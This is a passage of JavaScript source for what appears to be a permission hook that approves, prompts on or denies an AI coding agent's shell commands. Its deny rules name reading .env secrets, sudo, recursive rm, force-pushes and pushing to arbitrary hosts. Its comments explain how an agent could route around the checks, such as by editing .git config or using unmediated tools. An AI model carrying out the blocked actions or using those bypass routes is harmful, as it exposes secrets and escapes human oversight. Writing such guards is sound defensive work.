/\n* --push-option (GIT_PUSH_VALUE_FLAGS) -- these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" -- a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote -- never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present -- an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity -- `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one -- bare `git push`, or `git push <remote>`\n* with no refspec -- the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule -- even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) -- this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec -- the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny -- the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** `git tag` read-only flags taking no argument. */\nconst GIT_TAG_READ_FLAGS_NOARG = /* @__PURE__ */ new Set([\n \"-l\",\n \"--list\",\n \"-i\",\n \"--ignore-case\",\n \"--column\",\n \"--omit-empty\"\n]);\n/** `git tag` read-only flags taking one argument, as `--flag value` or `--flag=value`. */\nconst GIT_TAG_READ_FLAGS_VALUE = /* @__PURE__ */ new Set([\n \"--contains\",\n \"--no-contains\",\n \"--points-at\",\n \"--merged\",\n \"--no-merged\",\n \"--sort\",\n \"--format\"\n]);\n/**\n* `git tag` in a listing spelling. A positional argument is a tag name (a\n* write) unless a list flag is present, in which case it is a match pattern.\n* Bare `git tag` has no positional at all and lists.\n*\n* `-n<num>` here means \"print this many annotation lines\" -- on `clean` the\n* same letter is the dry run, which is why the two subcommands do not share a\n* flag table.\n*/\nfunction isGitTagListing(after) {\n let hasListFlag = false;\n let positionals = 0;\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (!t.startsWith(\"-\")) {\n positionals++;\n continue;\n }\n if (t === \"-l\" || t === \"--list\") {\n hasListFlag = true;\n continue;\n }\n if (GIT_TAG_READ_FLAGS_NOARG.has(t)) continue;\n if (/^-n\\d*$/.test(t)) continue;\n const eq = t.indexOf(\"=\");\n if (eq > 0 && GIT_TAG_READ_FLAGS_VALUE.has(t.slice(0, eq))) continue;\n if (GIT_TAG_READ_FLAGS_VALUE.has(t)) {\n i++;\n continue;\n }\n return false;\n }\n return positionals === 0 || hasListFlag;\n}\n/**\n* `git clean` in a dry run. Requires `-f` to be absent rather than deciding\n* which flag wins when both are given -- that precedence is a git-version\n* behavior this hook would otherwise have to pin.\n*/\nfunction isGitCleanDryRun(after) {\n let dryRun = false;\n for (const t of after) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (t === \"--force\") return false;\n if (t === \"--dry-run\") dryRun = true;\n continue;\n }\n if (t.slice(1).includes(\"f\")) return false;\n if (t.slice(1).includes(\"n\")) dryRun = true;\n }\n return dryRun;\n}\n/**\n* Read-only spellings of subcommands whose writes are correctly denied. The\n* deny keys on the verb, so without this `git tag -l`, `git clean -n` and\n* `git <sub> --help` inherit the tier of `git tag v1.2.3`.\n*\n* An allowlist, not a denylist: an unrecognized flag returns false and keeps\n* today's deny, so a spelling missed here costs a prompt rather than an\n* unintended write.\n*/\nfunction isGitReadOnlyForm(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (after[0] === \"--help\") return true;\n if (sub === \"tag\") return isGitTagListing(after);\n if (sub === \"clean\") return isGitCleanDryRun(after);\n return false;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"lint:types\",\n \"lint:report\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"ascii:check\",\n \"docs:check\",\n \"docs:delink\",\n \"docs:relocate\",\n \"docs:retire\",\n \"pr:create\",\n \"pr:update\",\n \"pr:checks\",\n \"pr:list\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\",\n \"findings:add\",\n \"findings:list\",\n \"findings:resolve\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* `pr:create`/`pr:update` are safe because an update PATCHes only the fields it was given and\n* refuses to drop a closing keyword the PR's body already carries. `--allow-unlink` is the one\n* flag that turns that refusal off, and what it permits -- an issue silently staying open after\n* its PR merges -- is the exact failure this whole command pair was split apart to prevent, and\n* one no PR review catches (the diff looks fine; the link is just gone). A guard an agent can\n* step over unattended is not a guard, so passing it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is -- fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = {\n \"issue:download\": [\"--force\"],\n \"pr:create\": [\"--allow-unlink\"],\n \"pr:update\": [\"--allow-unlink\"]\n};\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\n/**\n* Safe under `bst-agent` only. All three are read-only, and all three were safe under `bst`\n* before the agent moved to its own package -- transcripts, repair candidates, and review rounds\n* only exist where the agent runs, so the published CLI has no such command to classify.\n*\n* `agent:start` is deliberately absent: it spawns containers and holds two credentials, so it\n* prompts. `bst-agent` is a workspace-linked bin of a private package, the same trust shape as\n* `bst` (a name pnpm resolves, not a filesystem path an agent can manufacture), so it inherits\n* `BST_SAFE_SUBCOMMANDS` and `BST_UNSAFE_FLAGS` unchanged.\n*/\nconst BST_AGENT_ONLY_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"agent:repair-candidates\",\n \"agent:review-rounds\",\n \"agent:transcript\"\n]);\nfunction isBstSafe(tokens, extraSafe) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub) && !extraSafe?.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (-> passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-discard-changes\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitDiscardChanges(tokens),\n reason: \"`-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\"\n },\n {\n name: \"git-bare-checkout\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitBareCheckout(tokens) && !isGitCheckoutPathRestore(tokens),\n reason: \"Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\"\n },\n {\n name: \"git-protected-branch-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchWrite(tokens, ctx),\n reason: \"Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\"\n },\n {\n name: \"git-protected-branch-force-create\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchForceCreate(tokens, ctx),\n reason: \"Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx) && !isGitUnrecognizedBranchFlag(tokens) && !isGitWorktreeMoveOrRemove(tokens) && !isGitCheckoutPathRestore(tokens) && !isGitReadOnlyForm(tokens),\n reason: \"This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"bst-agent\",\n match: /^bst-agent$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens, BST_AGENT_ONLY_SAFE_SUBCOMMANDS)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: 